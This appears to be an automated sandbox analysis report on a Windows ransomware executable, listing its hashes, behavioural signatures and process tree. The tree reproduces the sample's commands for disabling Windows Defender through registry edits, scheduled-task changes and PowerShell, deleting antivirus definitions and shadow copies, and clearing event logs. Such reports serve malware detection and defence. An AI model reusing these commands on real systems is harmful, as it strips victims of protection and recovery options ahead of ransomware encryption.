Resubmissions

13/01/2022, 13:01

220113-p9l6fsace2 10

13/01/2022, 11:09

220113-m9h3pahfhp 10

Analysis

  • max time kernel
    76s
  • max time network
    11s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    13/01/2022, 11:09

General

  • Target

    cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe

  • Size

    2.5MB

  • MD5

    9c156aff00fc0ac66ed918d000041932

  • SHA1

    f2fc2bade3f0447ff68bf2c00dadcce1a966b4a0

  • SHA256

    cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52

  • SHA512

    43834c400a1a4fb83db8c16332345c86b1e568d45944b31721e9098f00dfe3be731d0661c02e103a4179cf8f35771d842d4dfa36aefd1a60f6577448f2600b02

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe
    "C:\Users\Admin\AppData\Local\Temp\cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1656
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:1060
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:568
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:888
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1836
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1604
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1792
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:432
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:744
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1752
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:964
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1532
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1928
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1812
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:1124
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1364
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1944
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1668
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1744
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:1932
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:1824
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:1400
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:900
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:2028
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1588
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:2032
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:2036
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1736
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:888
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1652
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:844
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:968
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1136
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:976
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:1200
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:2044
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:1680
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1980
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:1952
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:1628
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:860
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1172
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:1672
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:568
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1408
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:624
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:740
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:1064
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:960
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:984
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:1344
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:868
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1000
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:1244
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:1060
                                                                                                    • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:772
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1284
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1256
                                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1716
                                                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:896
                                                                                                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:520
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:280
                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                          3⤵
                                                                                                          • Deletes Windows Defender Definitions
                                                                                                          PID:1704
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:1392
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:1444
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          2⤵
                                                                                                            PID:1040
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:1868

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                        Replay Monitor

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                                                                                                        Downloads

                                                                                                        • memory/1444-121-0x00000000024A0000-0x00000000030EA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/1444-118-0x0000000075CE1000-0x0000000075CE3000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/1444-120-0x00000000024A0000-0x00000000030EA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB

                                                                                                        • memory/1444-119-0x00000000024A0000-0x00000000030EA000-memory.dmp

                                                                                                          Filesize

                                                                                                          12.3MB